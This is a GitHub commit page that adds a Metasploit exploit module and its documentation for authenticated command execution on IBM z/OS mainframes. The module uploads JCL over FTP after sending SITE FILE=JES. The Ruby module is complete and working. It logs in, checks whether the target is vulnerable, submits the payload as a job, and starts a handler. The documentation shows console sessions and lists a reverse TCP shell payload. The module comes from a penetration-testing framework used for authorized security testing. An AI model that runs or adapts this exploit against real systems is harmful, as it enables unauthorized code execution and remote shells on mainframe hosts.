Skip to content

Commit

Permalink
Authorized FTP JCL exploit for z/OS
Browse files Browse the repository at this point in the history
This exploit module allows a user with credentials to execute JCL on a
vulnerable mainframe system running z/OS and an appropriately configured
FTP server.
  • Loading branch information
bigendiansmalls committed May 12, 2016
1 parent 2a91a87 commit 2d5cf6c
Show file tree
Hide file tree
Showing 2 changed files with 208 additions and 0 deletions.
108 changes: 108 additions & 0 deletions documentation/modules/exploit/mainframe/ftp/ftp_jcl_creds.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
z/OS JCL authorized FTP-base command execution - hints & tips

In order to use this exploit, you must have valid credentials on the target z/OS system. The credentials must have access to upload files via FTP. If in doubt, use the check function of the exploit.

## Vulnerable Application

This exploit was tested on the ftp daemons for z/OS version 1.13 / 2.1

## Payloads

If the exploit works, any JCL the user has rights to submit can be submitted.

See cmd type payloads under mainframe with jcl in the payload name, e.g.:

```
msf exploit(ftp_jcl_creds) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/mainframe/generic_jcl normal Generic JCL Test for Mainframe Exploits
cmd/mainframe/reverse_shell_jcl normal Z/OS (MVS) Command Shell, Reverse TCP
```

## Verification Steps

A successful check of the exploit will look like this:

```
msf exploit(ftp_jcl_creds) > set FTPUSER ftptest
FTPUSER => ftptest
msf exploit(ftp_jcl_creds) > set FTPPASS password
FTPPASS => password
msf exploit(ftp_jcl_creds) > set RHOST 10.10.10.1
RHOST => 10.10.10.1
msf exploit(ftp_jcl_creds) > info
Name: FTP JCL Execution
Module: exploit/mainframe/ftp/ftp_jcl_creds
Platform: Mainframe
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2013-05-12
Available targets:
Id Name
-- ----
0 auto
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS password no The password for the specified username
FTPUSER ftptest no The username to authenticate as
RHOST 10.10.10.1 yes The target address
RPORT 21 yes The target port
SLEEP 5 no Time to wait before checking if job has completed.
Payload information:
Description:
Submit JCL to z/OS via FTP and SITE FILE=JES. This exploit requires
valid credentials on the target system
msf exploit(ftp_jcl_creds) > check
[+] 10.10.10.1:21 - Successfully connected to FTP server.
[*] 10.10.10.1:21 - Found IBM z/OS Banner and JES commands accepted
[+] The target is vulnerable.
msf exploit(ftp_jcl_creds) >
```


## Debugging

If the exploit or check is not working, turn on the VERBOSE and FTPDEBUG settings of the exploit and run.
The output should look similar to the below, on a vulnerable system.

```
msf exploit(ftp_jcl_creds) > set FTPDEBUG true
FTPDEBUG => true
msf exploit(ftp_jcl_creds) > set VERBOSE true
VERBOSE => true
msf exploit(ftp_jcl_creds) > check
[*] 10.10.10.1:21 - Connecting to FTP server 10.10.10.1:21...
[*] 10.10.10.1:21 - FTP recv: "220-FTPD1 IBM FTP CS V2R1 at ZOS.EXAMPLE.COM, 16:52:31 on 2016-04-27.\r\n220 Connection will close if idle for more than 5 minutes.\r\n"
[*] 10.10.10.1:21 - Connected to target FTP server.
[*] 10.10.10.1:21 - Authenticating as ftptest with password password...
[*] 10.10.10.1:21 - FTP send: "USER ftptest\r\n"
[*] 10.10.10.1:21 - FTP recv: "331 Send password please.\r\n"
[*] 10.10.10.1:21 - Sending password...
[*] 10.10.10.1:21 - FTP send: "PASS password\r\n"
[*] 10.10.10.1:21 - FTP recv: "230 FTPTEST is logged on. Working directory is \"FTPTEST.\".\r\n"
[+] 10.10.10.1:21 - Successfully connected to FTP server.
[*] 10.10.10.1:21 - FTP send: "site file=jes\r\n"
[*] 10.10.10.1:21 - FTP recv: "200 SITE command was accepted\r\n"
[*] 10.10.10.1:21 - Found IBM z/OS Banner and JES commands accepted
[+] The target is vulnerable.
msf exploit(ftp_jcl_creds) >
```

## Notes

The job run will leave a joblog for the credentials used.
100 changes: 100 additions & 0 deletions modules/exploits/mainframe/ftp/ftp_jcl_creds.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,100 @@
require 'msf/core'
require 'msf/core/exploit/tcp'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(
info,
'Name' => 'FTP JCL Execution',
'Description' => %q{(Submit JCL to z/OS via FTP and SITE FILE=JES.
This exploit requires valid credentials on the target system)},
'Author' =>
[
'Bigendian Smalls',
'mainframed a.k.a. soldier of fortran',
'S&Oxballs a.k.a. chiefascot'
],
'Arch' => ARCH_CMD,
'License' => MSF_LICENSE,
'Platform' => ['mainframe'],
'Privileged' => false,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'May 12 2013',
'DisableNops' => 'true',
'DefaultTarget' => 0
))

register_options(
[
Opt::RPORT(21),
OptInt.new('SLEEP', [ false, "Time to wait before checking if job has completed.", 5 ])
], self.class
)
end

def check
##
# Connect to get the FTP banner and check target OS
##
if !connect_login
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to connect to FTP server")
else
print_good("Successfully connected to FTP server.")
end
test_jes = send_cmd(['site', 'file=jes'])

# Disconnect and check cached self.banner
disconnect

##
# Check if the target system has an FTP server running on z/OS"
##
case banner
when /IBM FTP CS V.R./
case test_jes
when /200 SITE/
print_status("Found IBM z/OS Banner and JES commands accepted")
return Exploit::CheckCode::Vulnerable
else
print_status("Found IBM z/OS Banner but SITE FILE=JES failed. Try anyway!")
return Exploit::CheckCode::Detected
end

##
# Return the Safe flag if system is not exploitable
##
else
print_status("We could not recognize the server banner: #{banner.strip}")
return Exploit::CheckCode::Safe
end
end

##
# Exploit the target system by submitting a JCL job via FTP
##
def exploit
if !connect_login
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to connect to FTP server")
else
print_good("Successfully connected to FTP server.")
end

send_cmd(['site', 'file=jes'])
print_status("Successfully switched to JES mode")

jcl_file_name = "#{Rex::Text.rand_text_alpha(8).upcase}"
print_status("Uploading JCL file: #{jcl_file_name}")

res = send_cmd_data(['put', jcl_file_name], payload.encoded)
job_num = res.lines.first.split.last
print_good("Job Submitted. Job number is #{job_num}")

handler
disconnect
end
end

0 comments on commit 2d5cf6c

Please sign in to comment.